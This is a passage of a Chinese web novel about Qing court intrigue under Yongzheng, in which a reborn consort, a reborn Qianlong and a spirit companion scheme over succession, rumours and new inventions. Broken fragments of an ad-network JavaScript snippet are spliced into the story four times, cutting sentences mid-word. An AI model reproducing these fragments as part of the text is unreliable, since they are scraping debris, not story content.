果然,朕……朕不是真正的天命之子,皇阿玛选择朕是不得已的妥协,朕的那些兄弟们随时可能威胁朕的地位,朕必须做一些事情……确保他们再也不能威胁朕的地位…… 朕……朕…… 雍正下意识地握手成拳。 …… …… 兴许是历史被改变的缘故,在天幕直播中反复上演的大行皇帝葬礼上,宜太妃坚持排在太后前面、太后还支持这一越礼行为的可怕情况并未发生,康熙帝的几位阿哥们也都非常平静地接受了夺嫡失败的现实,只是朝野内外难免出现质疑遗诏真假的声音。 对此,雍正趾高气昂地宣布:“他们要传谣随他们传谣,朕身正不怕影子斜!” “万一百姓愚钝,信了这些谣言……” “百姓还相信朱三太子依然活着呢!” 雍正故作淡定地表示。 隆科多见状,长舒一口气:“皇上英明,宵小之辈终将自取其辱。” “他们爱怎么样是他们的事情,朕……亮工说西北有要紧事情需要即可禀告朕……让他立刻进养心殿!” “嗻!” 传话太监小碎步退出,将如今已经贵为川陕总督的年羹尧带进。 “奴才给皇上请安,愿吾皇万岁万岁万万岁。” “免礼。” 雍正满面笑容地看着年羹尧,道:“朕已经下旨,将你们年家全部抬旗,如何?” “谢皇上恩典。” “年家人在朕还是雍亲王的时候就主动投效朕,为朕鞍前马后出谋划策,年氏更是为朕生下皇子、七年来打理内院兢兢业业,抬旗什么都是你们应得的。” “奴才们是做了该做的事情。” “仔细算来,亮工你可是朕的恩人。” 雍正阴暗一笑,等着看年羹尧的反应。 年羹尧想了一下,回答道:“皇上是天下的主人,谁又有资格做皇上的恩人,奴才的所作所为不过是顺应天意。” “好!说得好!” 雍正露出难得的真心笑容,给年羹尧赐座,听他讲西北军事以及军事所需的钱财物资。 …… “……想不到西北军事开支竟如此庞大,朕……朕听说老九擅长经商买卖,多年积累,家底颇为殷实,不妨让他赞助一二。” 雍正笑容略显诡异地说道:“当然,朕不会让他白白付出,朕知道他喜欢做买卖,也和洋人们往来频繁,朕打算让他去广东主管十三行和洋人的各项买卖,利润所得半数送到西北军中供亮工只配使用,如何?” “皇上英明。” “至于中间环节的转运工作——” 雍正眯眼,看着年羹尧:“亮工以为谁更合适?” “奴才听说皇上主子身边有个叫李卫的做事妥帖又机灵能干,或许可以请他主管此事。” 事前得到胞妹年世华叮嘱的年羹尧镇定自若地建议道。 “李卫……” 雍正抽唇一笑:“正合我意。” 虽然是自己的恩人,但雍正对年羹尧并没有百分百的信任,同理,即便允禟早在半年前就主动投降投靠自己,雍正依然不认为鬼点子无数的他已变得人畜无害。 这两个人必须彻底分开,分别接受自己真正信得过的人的监视! … (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' … …… 觐见皇帝完毕,年羹尧在小太监的带领下来到胞妹面前:“奴才——” “哥哥不必多礼。” 武曌示意年羹尧起身:“刚从皇上那边过来?” “是。” “皇上对哥哥态度如何?” “皇上对奴才可谓是恩重如山,只是有些事情终究——” “妹妹明白。” 武曌走到年羹尧身旁,意味深长地笑了笑,道:“皇上终究是主子,主子要御下就得有章法规矩。何况如今朝堂形式还不明朗,几位王爷可都瞪大眼睛看着皇上呢。” “妹妹的意思是——” “要辛苦哥哥了。” 武曌莞尔一笑,意味深远。 年羹尧垂眸,收下胞妹的暗示。 [我年羹尧如此忍气吞声给雍正做事,图的可不是什么配享太庙,而是一人之下万人之上的权臣地位!妹妹啊妹妹,为了扶你的小阿哥登上皇位,哥哥什么都能忍受!] [年羹尧果然期待一人之下万人之上的顶级权臣地位,若干年后我打着儿子的名号登基为帝,他会维护我的统治还是希望我禅位给他?] 武曌心思灵动,看年羹尧的眼神也多了几分警惕。 年羹尧没有注意到年世华的神情变化,单手捏着朝珠,感慨道:“妹妹,你什么时候才能穿戴秋香色朝服?” 依雍正继位后制定的后宫规矩,黄色和秋香色均为皇后才能使用颜色,贵妃的冠顶可以用东珠装饰,但最多只可以用十二颗,皇后的礼服冠顶用东珠不受数量限制。 显然,年羹尧已经等不及想让胞妹晋为皇后了。 “皇后是贤德之人。” 武曌避重就轻地说道:“她对下面的妹妹们一向温柔体贴。” “但她终究是皇后,而你只是贵妃。” 年羹尧低声强调:“妹妹,依大清规矩,无论皇后是否有所出,一旦新君登基都会被尊为母后皇太后,地位高于圣母皇太后。” “哥哥,你太心急了!” 武曌厉声打断年羹尧的抱怨,看了眼周围,补充道:“皇宫不比后院,人多嘴杂。” “妹妹所言极是,是哥哥有口无心。” 年羹尧虚情假意致歉,心不在焉地与年世华谈了些琐事便起身告退。 武曌没有留他。 这个人野心太大又不知收敛,必须想办法尽快—— 【你要弄死他吗?】 凤龙突然出声。 武曌摇摇头。 [他是军事人才,我的皇位需要军队拱卫。] 【那你——】 [看历史直播天幕的意思,男性乾隆原本会有一个完美发妻——孝贤皇后,而且孝贤皇后的娘家是难得一见的满门忠烈……我打算……提前促成几段姻缘……] 【你在打什么坏主意?】 凤龙嘻嘻一笑。 武曌低头,慢条斯理地修建花草。 [……以男性乾隆对傅恒一家的看重和喜爱,如今的他应该不介意以大清公主身份下嫁傅恒。只是如此一来,福康安便真成了乾隆和傅恒的儿子。] 81.谣言 武曌有意让意外重生为女孩的乾隆成年后下嫁他前世的小舅子富察傅恒,这一世被迫做格格的爱新觉罗·弘历·妞妞此刻也在盘算着额驸人选。 远嫁蒙古是绝对不可能的事情,朕要留在京城争夺皇权,就算不能登基做女皇,也要做个摄政公主,所以,未来额驸必须是个德才兼备又对朕言听计从之人,比如—— 春和! 想到富察傅恒,爱新罗觉·弘历·妞妞嘴角不由泛起笑容。 富察家既是累世名门又是满门忠烈,为了大清或者说为了乾隆朝的十大武功贡献了几乎能贡献的一切,春和本人更是—— [如果选他做额驸,确实能对朕有百利而无一害,只是眼下还有一个大问题——] 原本的历史中,富察傅恒生于康熙五十九年。 但是如今,康熙帝在康熙五十七年驾崩,康熙五十八年变成了雍正元年! 历史发生这么多的改变以后,富察傅恒还能正常出生吗? 或者说,在原本的康熙五十九年如今的雍正二年出生的富察家的孩子还是朕的富察傅恒吗? 想到此处,妞妞绷紧嘴角。 [历史被篡改这种事果然牵一发而动全身!好在富察家的忠烈种子早在傅恒的伯父马斯喀、马齐、马武兄弟入朝为官时就已存在,即便富察家明年出生的孩子不是朕想要的那个富察傅恒,富察家的男人们也依然会成为大清的肱骨栋梁,朕只需在年满十五岁前从他们中选一个长得最顺眼性格最好拿捏的下嫁便可。] 【你想得真好啊。】 凤龙冷不防出声,打断妞妞的思绪。 妞妞抬头,不爽地看着翘着双脚坐在金色琉璃瓦上的华服美人。 [好大的胆子,竟敢擅闯后宫!] 【世间没有我不能去的地方,只看我想去不想去。】 凤龙起身,轻盈落在妞妞面前,漂亮的脸上满是讥讽笑容。 【想不想尽快得到皇位?】 [这话什么意思?] 【夜长梦多,不是吗?】 凤龙蛊惑妞妞。 【再得宠的格格终究要出嫁,嫁出去以后就很难对皇家产生影响,除非——】 [除非什么?] 【除非下嫁前就已经在朝堂拥有绝对的地位,如此,你的婚姻才能让你获利最大。】 [你的意思是……从现在开始就要谋算朝堂地位?就像朕前世最爱的十公主……等一下!朕的十公主该不会原本应该是个阿哥,却不幸以格格的身份降生?] 妞妞扼腕。 【谁知道呢?】 凤龙妖娆一笑,拒绝回答。 …… …… 半年时间弹指一挥间,逐渐稳住局势的雍正不免生出清算过往与自己做对的某几个兄弟的心思。 首先被处理的是允禵。 倒不是雍正对允禵怀恨在心,而是——即便允禵虽早已放弃对皇位的执念,皇太后乌雅氏依旧不停地念叨,认为先帝喜欢十四胜过老四,若非允禵不幸伤了腿脚,老四断断不可能得到皇位。 雍正不想母子关系闹得太难看,加上担心允禵在皇太后乌雅氏的撺掇下生出不该有的心思,干脆以守孝的名义把允禵打发去清皇陵附近的汤泉行宫暂住。 皇太后乌雅氏得知此事,在慈宁宫中又一番闹腾,认为雍正如此处理允禵是因为心虚和嫉妒。 “为什么我会生下皇帝这样无情无义的儿子!为什么皇帝竟然容不得他的嫡亲兄弟!” “太后息怒。” 皇后乌拉那拉氏努力挤出笑容,与贵妃年氏一左一右地为太后捶背揉肩,口中道:“皇上此番做法其实是为十四爷的名声着想,之前先帝封十四爷为大将军王,主持青海战事,虽说最后大胜而归,但因为猎场意外,朝中上下包括民间百姓大多对十四爷的能力有所怀疑,认为十四爷在青海的战功是虚的,事情是下面的人做,功劳归十四爷拿。” “胡说八道!允禵是我看着长大的,他向来诚恳老实,从不撒谎!” “可是百姓们不知道啊。” 武曌附和道:“大哥前日来宫中送东西,说民间关于宫中有大量离奇传言,甚至有传言说皇上和太后感情恶劣的原因是……” “是什么?” 乌雅氏面露愠色。 “奴才不敢说——” “你只管说!天塌下来本宫给你撑着。” “嗻。” 武曌低头,贴着乌雅氏的耳朵:“外间传言说太后不喜皇上,因为皇上并非太后亲生,皇上的生身母亲其实是畅春园的某个汉女……” “外间真有如此传言?” 乌雅氏大惊。 要知道,她之所以能当众对雍正百般挑剔不满,依仗的无非是“生母”身份,如果皇帝信了传言—— 哪怕只是听到这个传言,对此事将信将疑…… “皇额涅放心,皇上从未将此谣言放在心上。” 武曌知道太后心慌,故意给她致命一击。 乌雅氏闻言,强颜欢笑道:“民间的无稽之谈,自然不必当真……皇上让十四去皇陵尽孝也未尝不是一件好事,等三年守孝结束,就让十四回来吧。” “太后所言极是。” 武曌笑容可掬地说道:“听说北边罗斯国的彼得皇帝把一个名叫叶卡捷琳娜的女奴立为皇后,也不知是什么样的花容月貌之人,竟然……” “我累了,要休息,你们先下去吧。” 乌雅氏此时根本没有听邻国风流韵事的闲情雅叙,不耐烦地催促皇后等人离开。 皇后乌拉那拉氏见状,领着贵妃年氏为首的以众人行礼退下,才出慈宁宫大殿就听到身后传来瓷器碎裂的声音。 “——太后似乎心情很不好,莫非是十四爷的离开让她格外不舍?” 乌拉那拉皇后冷飕飕地评价道。 受了乌雅氏数十年委屈的她此刻终于有了大仇得报的快意:贵为太后又如何,成为皇帝的偏偏是你最不喜欢的儿子! …… 晚上,从密保处得知此事的雍正气势汹汹地找年世华兴师问罪! 为免事态扩大,正式问罪前,他让宫女太监们全数退下。 “年氏!你可知罪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” “奴才愚钝,不知所犯何罪?” 武曌慢悠悠起身,灯火下,眼波流光。 因为多年来始终得不到乌雅氏的真心关爱,雍正内心深处其实对“乌雅氏并非四阿哥生母,四阿哥是先帝临幸畅春园汉女所生”的荒诞谣言是将信将疑,如今又见年氏如此镇定自若,心中顿时泛起嘀咕,低声喝问道: “贱妇!竟敢在皇额涅面前捏造谣言!离间朕和皇额涅的感情!” “皇上怎么知道此事是奴才恶意捏造而非民间确有传闻?” 武曌知道雍正心中所想,因此有恃无恐,缓缓起身,一脸委屈姿态:“奴才的兄长把此事告诉奴才也是一番好意,担心事情继续发展下去对皇上和皇额涅都大为不利。” “大为不利……” 雍正眯眼。 素来多疑的他瞬间明白了“谣言”的真正源头。 [皇额涅多年来对朕的过分苛刻以及对十四弟的无底线偏袒让百姓们都看不明白了,他们知道父母会偏心,但他们没见过如此明显的偏心,儿子成了皇帝都无法让皇额涅改变偏心态度,多次公开下皇帝面子……所以他们才会造出朕不是皇额涅亲生骨肉的谣言……归根结底,一切都怪皇额涅对十四弟太偏心!] “民间如此妄议皇家确实不合适,还好有你将此事告诉皇额涅和朕,希望皇额涅能够意识到情况的严重,以后不要做落人话柄的事情。可惜朕毕竟是儿子,即便皇额涅有错也不能公开指责数落。” 雍正阴阳怪气地说着,言语间暗藏对年氏借民间谣言劝解皇太后尊重皇帝的行为的褒奖。 “谢皇上理解奴才的苦心。” “不过——” 雍正语调一转,提醒道:“后宫的事情竟能随便传到民间,可见皇阿玛晚年对身边人都太过宽容,奴才们一个比一个放肆松弛。如今朕特许你协助皇后治理后宫,不能再发生类似的事情!” “奴才明白,奴才会尽快治理后宫,把那些碎嘴的不守规矩的都揪出来。” “如此便是最好。” 雍正满意地点了点头,让年氏坐到身边:“近来政务繁忙,有些时间没来你这边,今日过来,发现你变得比以前更加娇俏动人了。” “皇上,不是奴才变漂亮。是皇上近来实在太累,每日对着朝臣们的老脸,可不就——” 武曌掩嘴,发出俏皮中带着几分娇憨的笑声。 雍正顿时心情大好,搂着她的肩膀:“你真是朕的解语花,是——” 声音中途顿住,他看到神秘的祥瑞此刻正坐在摆满古董的博古架上悠闲地晃着双腿。 【你们继续!不用管我,我就是路过,看看热闹~】 凤龙发现雍正,笑嘻嘻请他继续。 【我并没有康熙以为得那么高洁无欲,我对你们人类的各种事都很感兴趣,尤其是男女间的事情,又陌生又有趣。】 [你……] 不知为何,雍正莫名觉得凤龙的脸和年世华的脸有八分相似。 【你要觉得不好意思,我现在就走~】 话音落,凤龙凭空消失。 82.矛盾激化 先是允禟得到监管十三行和西洋人的各种买卖顺便给西北用兵筹集费用的“重任”,然后允禵被派去皇陵守孝,身为一等一的聪明人的廉亲王允禩嗅到风雨将至的味道,主动进宫,将昔日依附自己的官员姓名整理成册,呈给雍正。 “皇上——” “这是什么意思?” 雍正明知故问。 允禩道:“先帝在世时不止一次下旨禁止拉党结派,允禩那时年少无知,加上心中有怨,竟故意和先帝作对。如今皇上登基,海清河晏,允禩也逐渐明白自己的愚蠢无知,请皇上念及景仁宫情谊,给允禩一个将功补过的机会。” “将功补过?” 雍正捏着允禩呈送的名册,阴阳怪气:“你现在知道错了?” “允禩一直都知道自己有错,只是允禩心里……先帝在世时,因为良妃额涅的事情,允禩心中始终怄着一口气,不愿改正,不愿承认自己有错……如今时过境迁,允禩也终于想清楚利弊,或许我……我……皇上,我有错,请皇上只责罚我,不要……” “你既已知错,朕又怎么可能不顾景仁宫手足之情以及多年来的相邻之情?” 雍正眯着眼,用猎手打量猎物的眼神打量着允禩。 允禩后背一阵寒凉,却不得不忍耐:“谢皇上宽宏大度,允禩恳请现在戴罪回家,等候皇上发落。” “好。” 雍正点点头,示意允禩退下。 允禩起身,颤巍巍离开。 允禩离开后,因为腿上疮疤而走路瘸拐的允祥在太监的搀扶下走进养心殿:“皇上寻臣弟前来可是——” “允禩刚才主动向朕投诚了。” 雍正抬手,将官员名册递给允祥:“他将与他关系亲密的官员的名册主动送上,求朕给他一条生路。” “皇上的打算是——” “纵有千般不是,他终究是伴着朕在景仁宫一起长大的兄弟,夺嫡期间发生的种种也不全是他的错,皇阿玛对良妃额涅的刻薄挑剔、老九在他耳边的种种挑拨搬弄还有他那恶毒之名早已京城人尽皆知的嫡福晋……” 雍正露出不舍神情。 允祥意识到皇帝心中的矛盾,劝解道:“八哥已经主动投诚示好,皇上何不再给他一次机会?如果他诚心悔改,过去的事情就一笔勾销,如果——” “朕曾经在皇阿玛跟前发誓登基以后一定宽待手足,何况他又主动示弱投降……朕确实应该再给他一次机会,除非他又做出对不起朕的事情……” 雍正的表情有些晦涩诡异。 多年的情谊让他发自真心地希望允禩是真心悔过从今以后再无杂念一心一意地辅助自己,又暗暗觉得允禩终有一天会暴露狼子野心再次做出背叛自己的事! “倘若他出尔反尔做出对不起朕的事情,朕绝不姑息!” “臣弟明白,皇上对八哥可谓是一片真心。” 允祥低头,不敢直视皇帝此刻格外明晦不定的眼睛。 …… …… 朝堂的事情自有男人们各种勾心斗角,困在宫墙内的女人们即便受限于“后宫不得干政”的祖训,也同样有着自己的小算计。 “姐姐,我近来无事,捣鼓出了一些小玩意~” 已经是尹贵人的尹无归捧着盖有红布的托盘走到年贵妃面前,满脸等待夸奖的急切。 “这是——” “火木仓的进一步改良。” 尹无归揭下红布,露出只有火木仓一半尺寸的手木仓:“尺寸变小,但是杀伤力不打折甚至可以做得更好。” “你为什么要——” “总得给自己找点事情做不是吗?” 尹无归故作淡定地说道:“我才二十出头,不想像个老人一样每天过诵经念佛的日子。” “但也没有必要做这么多。” 武曌握住尹无归的手,摩挲手上的细小伤痕:“疼吗?” “有姐姐这句话,我怎么可能会疼?” 尹无归笑逐颜开地看着武曌。 “可是我疼,我的心很疼。” 武曌低头,一滴眼泪恰到好处地落在尹无归的掌心:“以后不许再做这类可能伤到自己的事情!” “我——” “不许。” “嗯。” 尹无归抿嘴点头,心里想的却是:大不了我以后先斩后奏,不提前让你知道! [真是个纯粹又热情的人。] 武曌被尹无归的心绪触动,发出由衷的叹息。 【热情、纯粹、真诚、冲动、愿意为自己认可的事业牺牲包括生命在内的所有一切……果然是个无私又美好的年轻人!】 凤龙突然出声,虚幻的身形站在尹无归身后,修长的手指无声无息地划过尹无归的后颈。 【我感觉我快要爱上她了。】 [你不会。] 【为什么?】 [因为你根本不是人,你没有人的情感,自然也不懂什么是爱,你以绝对旁观的角度观察着包括我在内的所有人类,偶尔做出模仿人性的行为。] 【啊哟,被你看穿了。】 凤龙讪讪一笑,随即又恢复了一贯的淡定逍遥。 【但也正因为你总是能轻易看穿我,我才会如此地喜欢你,你的灵魂像极了你给自己取的名字,从淤泥里爬出,最终达到日月同辉的高度。】 [谢谢夸奖。] 武曌并不感谢。 因为凤龙身上始终透着非人的冰冷,本质非人的祂永远无法真正理解人类更不可能成为真正的人类。 【——为什么你总是油盐不进?但也正因如此,我才格外地喜欢你~】 凤龙俏皮一笑,目光落在尹无归带来的手木仓上。 【四十五世纪的手工党真可怕,手木仓都能手搓出来~虽然缺少专业仪器的纯手工容易差精度,当然,以目前的情况,这点精度也已经够用了~】 [够用吗?] 武曌嘴角扬起笑容。 …… …… 允禵被派去皇陵守孝后,皇太后乌雅氏的身体便一天不如一天。 雍正得知此事,既疼惜母亲的身体,也伤感母亲对弟弟的深情厚谊,每日处理国事之余不忘拨出时间前往慈宁宫请安问候,皇后乌拉那拉氏为首的后宫妃嫔们更是成天围着愁眉苦脸的皇太后嘘寒问 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 暖,变着法子逗她开心。 这一日,雍正又来到慈宁宫问安,见太后在妞妞和弘宜的陪伴下露出笑容,心中不由暗喜,快步上前,道:“皇额涅今日好些了吗?” “皇帝还会在乎我的心情?” 太后乌雅氏看到雍正,面孔泛起晦暗:“我已经老了,半截埋入土里,唯一的指望是儿女和谐、子孙满堂。可惜子孙满堂能够看到,儿女和谐却注定是一场痴心妄想。” “皇额涅说笑了,您现在贵为太后,谁还敢——” “皇帝这是明知故问啊。” 乌雅氏抬手,让嬷嬷领走小格格和小阿哥,又屏退左右,苦笑着对雍正道:“民间关于我们母子的无稽之谈,皇帝如何看?” “皇额涅既然都说是无稽之谈了,朕自然不会将它们放在心上。” “真的?” 乌雅氏凄然一笑,道:“你怎么可能不把这些话放在心上,只是你心思重,不敢问,我也不敢主动说。” “皇额涅——” “如果我不是你的亲生母亲,你心里会不会觉得松了口气?” “皇额涅——” “你一直都恨我偏心,认为我对允禵的爱胜过对你的爱的千百倍,我也知道我不该偏心,我应该对你好一点。可是我……我做不到……每次和你见面,我都觉得我们之间隔着一层膜,我想对你亲切些却不知如何开口……我……惹出这样的民间传谣,也是我自作自受……但凡我对你稍微好一些,都……都不至于……” “皇额涅,儿子从未把民间谣传当一回事,皇额涅永远都是儿子的皇额涅。” “你会说这些话,正说明你心里确实对那些传闻有了几分相信。” 乌雅氏低头,自嘲道:“其实,如果传闻是真的,我不是你的生母,我们两个都会过得很轻松。你不必为我的偏心感到痛苦,我也不必为我对你的种种……感到内疚……可惜,传闻不是真的,我……我……” “皇额涅,不要再说了,儿子发誓儿子不会把外界的谣言当真。” “你……” 乌雅氏咬了下嘴唇,鼓足勇气道:“既然误会已经解除,你准备什么时候把允禵召回京城?” “皇额涅!” 雍正面色骤变,咬牙切齿道:“祖宗规矩,后宫不得干政,太后也不例外。” “允禵的事情是家事!” 乌雅氏据理力争。 雍正道:“皇家没有家事,皇家的家事都是国事。” “所以——” “皇额涅,此事恕儿子无能为力。” 说完,雍正拂袖而去。 乌雅氏立在原处,许久才缓过神。 另一边—— 雍正快步走出慈宁宫,准备坐肩辇回养心殿,却在慈宁宫门处遇见贵妃年氏。 “奴才给皇上请——” “不用多礼。” 再次因为皇太后的偏心感到痛苦的雍正抓住行礼未半的年氏的芊芊细手,道:“你是宫中难得的饱读诗书的女人,朕想听听你的想法。” “皇上想听奴才说什么?” “什么样的母亲才会完全不爱自己的孩子。” 83.新玩意 “这个事情,奴才不敢说。” “为什么?” “因为不知道说什么。” 武曌知道在母子亲情这种事情上发表意见必定观点不论对错都会惹一身骚,何况雍正是个敏感多疑之人。 “奴才的父母对奴才向来无微不至,奴才的兄长阿姊们也都爱护奴才这个最年幼的孩子,奴才入潜邸后,自认无法做到对皇上的所有骨肉都视如己出,却也真心觉得孩子们不论何时都有自己的可爱之处。所以奴才不懂为什么会有人不爱自己的孩子。” “你这话……” 雍正叹了口气:“或许正因为你从小在父母的关爱中长大,你才会拥有如此温婉善良的性情,对待身边人——哪怕是憎恶的人生的孩子,都如慈母般温柔……但是朕……朕幼年时也曾得到过这样的爱,可惜……好景不长,孝懿仁皇后薨逝,朕的好日子也就结束了……” “孝懿仁皇后是世间难得的慈爱宽仁之人,先帝对她也是赞赏有加。” “她对朕有养育之恩,不是生母胜过生母……以至朕第一次回永和宫见皇额涅时甚至无法自然地喊出‘额涅’,或许,正是初次见面时的迟疑让皇额涅心中对朕有了疏远,从此以后不论朕如何努力或是试图努力,都无法让皇额涅忘记初次见面时的尴尬生疏……但这绝不是朕的错,更不是孝懿仁皇后的错……或许,朕真不该从皇额涅的肚子里出来……” 说到此处,雍正眼角有了泪光。 再怎么自称豁达、无所谓,他内心深处依然无比在意,渴望得到父母的爱。 “皇额涅,如果你当然如传言那般并非朕的嫡亲额涅该多好……至少朕不必再为得不到你的爱而痛苦难受,如今的困局……朕真的……真的受够了!” “皇上……” “不必为朕担忧,朕只是一时有感……朕作为天下人的表率,怎么可能做有违儒家伦常教导的事情?” 雍正咬牙切齿地强调着,眼神复杂晦暗。 …… …… 康熙晚年吏治松弛,朝中官员大多拖欠国库银钱,雍正登基后严命怡亲王允祥大搞清查审计,要求亏空官员“着落家产赔补”,对于那些赔不出钱的死硬分子,允祥认为即便把他们逼死也掏不出钱还会落下恶名,不如将这些人革职回家就此作罢,他们的亏空用户部原有的灰色收入顶上。 然而,雍正此刻正因太后乌雅氏的无情而愤怒,又因皇帝身份不能公开发作,允祥的恳请虽在情在理,可在雍正耳中到底有些刺耳,因此明知允祥所请有理,雍正依旧严厉打击这些不知羞耻的“老人”,勒令他们必须想办法还钱,休想用革职脱然事外,弄得具体做事的允祥也是满腹惆怅,苦笑道:“皇上用法略显严苛。” “这些都是皇阿玛晚年对官员太仁慈留下的弊端,朕如果不趁着事态还未扩大加重加严处理,就无法遏制吏治的败坏,将大好的江山留给朕的子孙后代!” 严肃处理前朝死硬分子的同时,雍正也没有忘记提拔人才,因为传统满清勋贵势力大多和自己的几个兄弟有亲密关系,加上满清人才匮乏,雍正登基后,不断边缘化传统满洲宗室力量,重点提拔汉军旗甚至汉人出生的文武人才。不少满清勋贵因此感慨万千,担心长期以往,汉军、汉人将会兴盛压过满洲、蒙古。 对于这些抱怨,雍正自然不能公开承认,毕竟,如果满洲有能够理解他的改革措施、为他的种种政策尽心服务的文武人才,他又何必舍近求远提拔汉军旗甚至汉人? 当然,朝堂的事情和被困后宫的武曌没有任何关系,即便有关,她也不会表露出来。 …… “哥哥这次又做了什么稀罕玩意?” 看了眼年希尧身后盖着红布的半人高的大物件,武曌兴致盎然:“莫非捣鼓出了新的蒸汽机?” “新做成的玩意确实既是蒸汽机又不完全是蒸汽机。” 年希尧转身,骄傲地掀起红布,露出略显粗糙的黑色机器:“妹妹之前说蒸汽机或许可以加在马车上让马车跑得更快,哥哥回去后反复思考,最终做出此物。” “如何使用?效用如何?” “每加满一次水就可跑一里地,速度比寻常马车快一倍,是骡车的数倍。” “加满一次水就可以跑出一里地,速度还比马车快、比骡车更快……” 武曌唇角微笑:“哥哥打算给这东西取什么名字?” “制造此物原意是取代马匹,或许可以取名叫马达,比马更加速达。” “马达……有意思的名字……” 【也是殊途同归。】 坐在屋檐上的凤龙笑眯眯补充。 武曌垂眸,欣赏地看着年希尧召集工匠做出的粗糙简易的马达:“加满一次水能跑一公里,倘若水箱做得更大或是烧水的手段更加高超,岂不是可以跑得更快更远?” “妹妹所言极是,哥哥近来也在思考此事。” 年希尧从小就喜欢科研,即便被周围人嘲笑不务正业、玩物丧志,他也从未放弃志向。如今成为内务府管事,可以尽情发挥自己在算数和科研领域的天赋,恰如飞鸟入林、游鱼入海,不知道多开心多快乐,恨不得日日夜夜守在工坊里面研究如何改良改进。 “倘若马达可以取代骡马,不仅大清的马车会提升速度,原本必须使用骡马的工作也会变得不再需要骡马,大清就有更多的马匹供给骑兵……军队变得更加强盛……二弟那边也能立下更多的功勋……” “二哥为大清立下足够的功勋,我们兄妹跟着沾光。” 武曌顺着年希尧的话往下说。 年希尧闻言,眼中流出激动的光芒:“妹妹所言极是。” “辛苦哥哥了。” 武曌微笑着,暗示年希尧回去后进一步改良马达,提升输出功率。 【跑步进入工业革命吗?】 凤龙托着下巴,笑容越发微妙。 同一时间—— 一直被爱新觉罗·弘历·妞妞密切关注的富察家传出喜讯——富察家今年新出生的儿子被正式取名为傅恒。 [傅恒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' !朕的傅恒!朕终于等来春和!虽然比原定的时间晚了一年!] 妞妞大喜,当场笑出声,毫无皇家公主的矜持风度。 陪伴小格格的嬷嬷们大吃一惊,急忙围上前去:“小主子,您这是——” “心情好还得提前给你们打招呼吗?” 妞妞冷笑着瞪视涌上来的嬷嬷们。 嬷嬷们吓得连连改口道:“奴才知错!奴才知错。” “就你们这些……” [做女人真麻烦!] 妞妞不爽地想着,在嬷嬷们的簇拥下来到年贵妃处——她早看出年氏此人手段厉害又颇具野心,会成为她夺权路上的最佳助力。 “贵妃额涅,妞妞来给您请安。” “小格格好生客气,一路过来没有累着吧?” 武曌一脸温情地招待着妞妞,将小厨房刚做好的糕点掰成小块送到她嘴边:“馅料是栗子泥拌着蜂蜜和葡萄干,特别香甜软糯。” “贵妃额涅果然懂得享受。” 妞妞捏起小块糕饼放入口中,品味酥软的同时,感慨道:“再过几年,我就要出嫁了,万一被送去蒙古,怕是再也不能每年秋天都吃到这等香甜味道。” “皇上疼爱小格格,断不会将小格格送去蒙古吃沙子。” “就算不被送去蒙古吃沙子,也会把我下嫁给某个年纪比我大一截的满清勋贵。” 妞妞噘嘴,一脸不爽:“我想要个比我年纪小的额驸。” “为什么?” “年纪小才能凡事听我吩咐、处处真心顺着我。年纪大的额驸,嘴上对我言听计从,其实心里笑我幼稚,家里没准还养着一堆小妾。” 妞妞认真抱怨道:“男人三妻四妾是天理,即便我贵为公主也不能多加抱怨。可如果他的那些小妾半数都是他迎娶我前就纳入家中,我岂不就……” “所以格格打算找个年纪比自己小的额驸?” “像我这样的身份几乎不可能像话本里说的那样找个真心喜欢的,自然要找个好拿捏的~” 妞妞直言不讳,“我讨厌油嘴滑舌还拈花惹草不安于室的男人!” [那不就是前世的你?] 武曌暗暗吐槽,面上却是一脸认真严肃:“格格所言有理。” “总之,我将来的婚姻大事,劳烦贵妃额涅多多费心。” 妞妞嬉皮笑脸地说着,突然瞧见年希尧送来的马达。 “这是——” “哥哥前几日送入宫中的稀罕玩物,说是学习西洋人的蒸汽机后造出来的,名叫马达。” “年希尧确实颇有才学。” 爱新觉罗·弘历·妞妞深以为然。 前世的他虽然不喜欢怡亲王允祥,但对年羹尧死后凭真才实学得到允祥力保成为内务府官员的年希尧却颇为欣赏,如今见年希尧因为比前世更早得到重用做出更优秀的物品,心中也颇为感慨。 可惜—— 这些东西不仅能巩固皇权统治,也可能开启民智,引发民变,必须谨慎使用! 84.心事重重 时间波澜不惊地流过,火耗归公和摊丁入亩两条政策一经推出便引来朝野上下的惊呼,尤其是摊丁入亩的政策。 其实,康熙帝晚年已经有了推行摊丁入亩的苗头,无奈朝堂内外有重重阻力,终康熙一朝,摊丁入亩政策始终都停留在试推行阶段,无法全国推广。 因此,当雍正帝旧事重提要求重新丈量全国土地推行摊丁入亩时,朝野上下尤其是地方豪族乡绅几乎群起反对,担心这一措施得到推行会严重损害自己的利益。 所幸在推行摊丁入亩这件事情上,雍正帝早已下定决心,即便前方有惊涛骇浪刀山火海也绝不回头,不论地方豪族乡绅如何反对,他都不予理会,通过科举等手段大量提拔官员下放基层,务必将摊丁入亩政策落实到位。 “皇上这一措施可谓高瞻远瞩,但要将这个政策完全落到实处,恐怕——” 怡亲王允祥露出惆怅神情:“我担心会激生民变。” “你担心百姓愚钝被宗族势力蛊惑,一起反对摊丁入亩政策?” “摊丁入亩是个对百姓有利无害的好政策,可是百姓们未必能听懂理解,毕竟目不识丁的愚民才是大多数。” 张廷玉也对此深表忧患。 雍正看向允禩:“廉亲王对此事有何看法?” “臣弟愚蠢,不敢——” “你曾是百姓口中的‘八贤王’,他们对你可谓发自内心的拥护和热爱。” 雍正有些阴阳怪气。 允禩弯腰,小心翼翼道:“‘八贤王’之名是花银钱让说书先生们在茶馆酒肆宣扬出来的,并非百姓真心相信。” “‘八贤王’可以通过说书先生的宣扬造出来,摊丁入亩的好处为何不能用同等手段传入民间?” 雍正板下脸,呵斥道:“百姓愚钝,目不识丁,那朕就把摊丁入亩的好处编成说书和唱曲教给他们!让他们明白朕是真心对他们好。” “皇上英明。” 大臣们齐声附和,内心深处却对雍正的想法充满忧虑。 